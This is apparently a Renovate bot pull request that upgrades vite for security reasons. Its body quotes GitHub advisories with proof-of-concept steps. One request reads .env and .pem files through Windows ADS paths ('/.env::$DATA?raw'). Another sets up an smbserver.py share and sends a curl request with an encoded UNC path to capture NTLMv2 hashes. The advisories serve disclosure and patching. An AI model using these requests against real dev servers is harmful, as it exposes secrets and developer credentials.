Skip to content

chore(deps): update dependency vite to v6 [security] - #26

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vite-vulnerability
Open

chore(deps): update dependency vite to v6 [security]#26
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vite-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Apr 7, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
vite (source) ^5.1.5^6.4.3 age confidence

Vite Vulnerable to Path Traversal in Optimized Deps .map Handling

CVE-2026-39365 / GHSA-4w7w-66w2-5vf9

More information

Details

Summary

Any files ending with .map even out side the project can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • have a sensitive content in files ending with .map and the path is predictable
Details

In Vite v7.3.1, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON.

PoC
  1. Create a minimal PoC sourcemap outside the project root
    cat > /tmp/poc.map <<'EOF'
    {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
    EOF
  2. Start the Vite dev server (example)
    pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080
  3. Confirm that direct /@fs access is blocked by strict (returns 403)
    image
  4. Inject ../ segments under the optimized deps .map URL prefix to reach /tmp/poc.map
    image

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


vite: server.fs.deny bypass on Windows alternate paths

CVE-2026-53571 / GHSA-fx2h-pf6j-xcff

More information

Details

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • the sensitive file exists in the allowed directories specified by server.fs.allow
  • either of:
    • the sensitive file exists in an NTFS volume
    • the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)
Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Access via browser at http://localhost:5173/.env::$DATA?raw
deecc1315123883cfd0f9c26a002845a

Example expected result:

  • /.env::$DATA?raw returns the contents of .env
  • /tls.pem::$DATA?raw returns the contents of tls.pem

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

CVE-2026-53632 / GHSA-v6wh-96g9-6wx3

More information

Details

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

  • using Windows
  • NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
  • the user accesses the attackers website that sends request to a middleware using launch-editor
  • the server that has the middleware using launch-editor is running
  • the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

2026-01-30_10-58

Severity

  • CVSS Score: 5.5 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitejs/vite (vite)

v6.4.3

Compare Source

Please refer to CHANGELOG.md for details.

v6.4.2

Compare Source

Please refer to CHANGELOG.md for details.

v6.4.1

Compare Source

Please refer to CHANGELOG.md for details.

v6.4.0

Compare Source

Please refer to CHANGELOG.md for details.

v6.3.7

Compare Source

Please refer to CHANGELOG.md for details.

v6.3.6

Compare Source

Please refer to CHANGELOG.md for details.

v6.3.5

Compare Source

Vite 7 is out!

Today, we're excited to announce the release of the next Vite major:

⚠ BREAKING CHANGES
  • ssr: don't access Object variable in ssr transformed code (#​19996)
  • remove experimental.skipSsrTransform option (#​20038)
  • remove HotBroadcaster (#​19988)
  • css: always use sass compiler API (#​19978)
  • bump build.target and name it baseline-widely-available (#​20007)
  • bump required node version to 20.19+, 22.12+ and remove cjs build (#​20032)
  • css: remove sass legacy API support (#​19977)
  • remove deprecated HotBroadcaster related types (#​19987)
  • remove deprecated no-op type only properties (#​19985)
  • remove node 18 support (#​19972)
  • remove deprecated hook-level enforce/transform from transformIndexHtml hook (#​19349)
  • remove deprecated splitVendorChunkPlugin (#​19255)
Features
Bug Fixes
Performance Improvements
Documentation
Miscellaneous Chores
Code Refactoring
Tests
Continuous Integration
Beta Changelogs
7.0.0-beta.2 (2025-06-17)

See 7.0.0-beta.2 changelog

7.0.0-beta.1 (2025-06-10)

See 7.0.0-beta.1 changelog

7.0.0-beta.0 (2025-06-02)

See 7.0.0-beta.0 changelog

v6.3.4

Compare Source

Bug Fixes
  • check static serve file inside sirv (#​19965) (c22c43d)
  • optimizer: return plain object when using require to import externals in optimized dependencies (#​19940) (efc5eab)
Code Refactoring

v6.3.3

Compare Source

Bug Fixes
  • assets: ensure ?no-inline is not included in the asset url in the production environment (#​19496) (16a73c0)
  • css: resolve relative imports in sass properly on Windows (#​19920) (ffab442)
  • deps: update all non-major dependencies (#​19899) (a4b500e)
  • ignore malformed uris in tranform middleware (#​19853) (e4d5201)
  • ssr: fix execution order of re-export (#​19841) (ed29dee)
  • ssr: fix live binding of default export declaration and hoist exports getter (#​19842) (80a91ff)
Performance Improvements
  • skip sourcemap generation for renderChunk hook of import-analysis-build plugin (#​19921) (55cfd04)
Tests
  • ssr: test ssrTransform re-export deps and test stacktrace with first line (#​19629) (9399cda)

v6.3.2

Compare Source

Features
Bug Fixes

v6.3.1

Compare Source

Bug Fixes

v6.3.0

Compare Source

Bug Fixes

v6.2.7

Compare Source

Please refer to CHANGELOG.md for details.

v6.2.6

Compare Source

Please refer to CHANGELOG.md for details.

v6.2.5

Compare Source

Please refer to CHANGELOG.md for details.

v6.2.4

Compare Source

Please refer to CHANGELOG.md for details.

v6.2.3

Compare Source

Please refer to CHANGELOG.md for details.

v6.2.2

Compare Source

Features
Bug Fixes
Miscellaneous Chores
  • extend commit hash correctly when ambigious with a non-commit object (#​19600) (89a6287)

v6.2.1

Compare Source

Features
  • add *?url&no-inline type and warning for .json?inline / .json?no-inline (#​19566) (c0d3667)
Bug Fixes
  • css: stabilize css module hashes with lightningcss in dev mode (#​19481) (92125b4)
  • deps: update all non-major dependencies (#​19555) (f612e0f)
  • reporter: fix incorrect bundle size calculation with non-ASCII characters (#​19561) (437c0ed)
  • sourcemap: combine sourcemaps with multiple sources without matched source (#​18971) (e3f6ae1)
  • ssr: named export should overwrite export all (#​19534) (2fd2fc1)
Performance Improvements
Miscellaneous Chores
Code Refactoring
Tests

v6.2.0

Compare Source

Bug Fixes
Miscellaneous Chores

v6.1.6

Compare Source

Please refer to CHANGELOG.md for details.

v6.1.5

Compare Source

Please refer to CHANGELOG.md for details.

v6.1.4

Compare Source

Please refer to CHANGELOG.md for details.

v6.1.3

Compare Source

Please refer to CHANGELOG.md for details.

v6.1.2

Compare Source

Please refer to CHANGELOG.md for details.

v6.1.1

Compare Source

Features
Bug Fixes
Miscellaneous Chores
Code Refactoring

v6.1.0

Compare Source

Features
Bug Fixes
Miscellaneous Chores
Code Refactoring

v6.0.15

Compare Source

Please refer to CHANGELOG.md for details.

v6.0.14

Compare Source

Please refer to CHANGELOG.md for details.

v6.0.13

[Compare So

Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 5f62ad4 to e9882a4 Compare April 8, 2026 17:54
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to v8 [security] Apr 8, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from e9882a4 to 06c2328 Compare April 8, 2026 22:53
@renovate renovate Bot changed the title chore(deps): update dependency vite to v8 [security] chore(deps): update dependency vite to v6 [security] Apr 8, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 06c2328 to e62469e Compare April 15, 2026 09:21
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to v8 [security] Apr 15, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from e62469e to 507647d Compare April 16, 2026 10:48
@renovate renovate Bot changed the title chore(deps): update dependency vite to v8 [security] chore(deps): update dependency vite to v6 [security] Apr 16, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 507647d to c5d06af Compare April 16, 2026 17:53
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to v8 [security] Apr 16, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from c5d06af to 001174c Compare April 16, 2026 23:13
@renovate renovate Bot changed the title chore(deps): update dependency vite to v8 [security] chore(deps): update dependency vite to v6 [security] Apr 16, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 001174c to 41a2f25 Compare April 19, 2026 10:36
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to v8 [security] Apr 19, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 41a2f25 to 2e0280f Compare April 19, 2026 16:57
@renovate renovate Bot changed the title chore(deps): update dependency vite to v8 [security] chore(deps): update dependency vite to v6 [security] Apr 19, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 2e0280f to fe70583 Compare April 21, 2026 20:06
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to v8 [security] Apr 21, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from fe70583 to 31870a8 Compare April 21, 2026 23:46
@renovate renovate Bot changed the title chore(deps): update dependency vite to v8 [security] chore(deps): update dependency vite to v6 [security] Apr 21, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 31870a8 to ee78b7b Compare April 23, 2026 15:49
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to v8 [security] Apr 23, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from ee78b7b to 88a2b81 Compare April 23, 2026 18:42
@renovate renovate Bot changed the title chore(deps): update dependency vite to v8 [security] chore(deps): update dependency vite to v6 [security] Apr 23, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 88a2b81 to be275f1 Compare April 29, 2026 13:33
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to v8 [security] Apr 29, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from be275f1 to 587dac4 Compare April 29, 2026 22:14
@renovate renovate Bot changed the title chore(deps): update dependency vite to v8 [security] chore(deps): update dependency vite to v6 [security] Apr 29, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 587dac4 to 83af817 Compare April 30, 2026 16:40
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to v8 [security] Apr 30, 2026
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to v8 [security] May 18, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from fe2afba to 5e113f0 Compare May 18, 2026 23:14
@renovate renovate Bot changed the title chore(deps): update dependency vite to v8 [security] chore(deps): update dependency vite to v6 [security] May 18, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 5e113f0 to b8c3632 Compare May 22, 2026 18:04
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to v8 [security] May 22, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from b8c3632 to 2fa7e71 Compare May 22, 2026 22:58
@renovate renovate Bot changed the title chore(deps): update dependency vite to v8 [security] chore(deps): update dependency vite to v6 [security] May 22, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 2fa7e71 to ccf9ac2 Compare May 28, 2026 14:03
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to v8 [security] May 28, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from ccf9ac2 to 96a63ec Compare May 28, 2026 20:32
@renovate renovate Bot changed the title chore(deps): update dependency vite to v8 [security] chore(deps): update dependency vite to v6 [security] May 28, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 96a63ec to 6095ea5 Compare June 1, 2026 19:39
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to v8 [security] Jun 1, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 6095ea5 to c8847df Compare June 2, 2026 00:38
@renovate renovate Bot changed the title chore(deps): update dependency vite to v8 [security] chore(deps): update dependency vite to v6 [security] Jun 2, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from c8847df to 374c457 Compare June 11, 2026 16:04
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to v8 [security] Jun 11, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 374c457 to baa951a Compare June 12, 2026 00:13
@renovate renovate Bot changed the title chore(deps): update dependency vite to v8 [security] chore(deps): update dependency vite to v6 [security] Jun 12, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from baa951a to 88956dd Compare June 18, 2026 19:07
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to v8 [security] Jun 18, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 88956dd to 8958fd2 Compare June 19, 2026 01:52
@renovate renovate Bot changed the title chore(deps): update dependency vite to v8 [security] chore(deps): update dependency vite to v6 [security] Jun 19, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 8958fd2 to c930272 Compare June 24, 2026 02:00
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from c930272 to 58db3d4 Compare July 12, 2026 15:44
@renovate renovate Bot changed the title chore(deps): update dependency vite to v6 [security] chore(deps): update dependency vite to v8 [security] Jul 12, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 58db3d4 to 525796c Compare July 12, 2026 20:40
@renovate renovate Bot changed the title chore(deps): update dependency vite to v8 [security] chore(deps): update dependency vite to v6 [security] Jul 12, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from 525796c to 7587fd6 Compare July 16, 2026 17:56
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants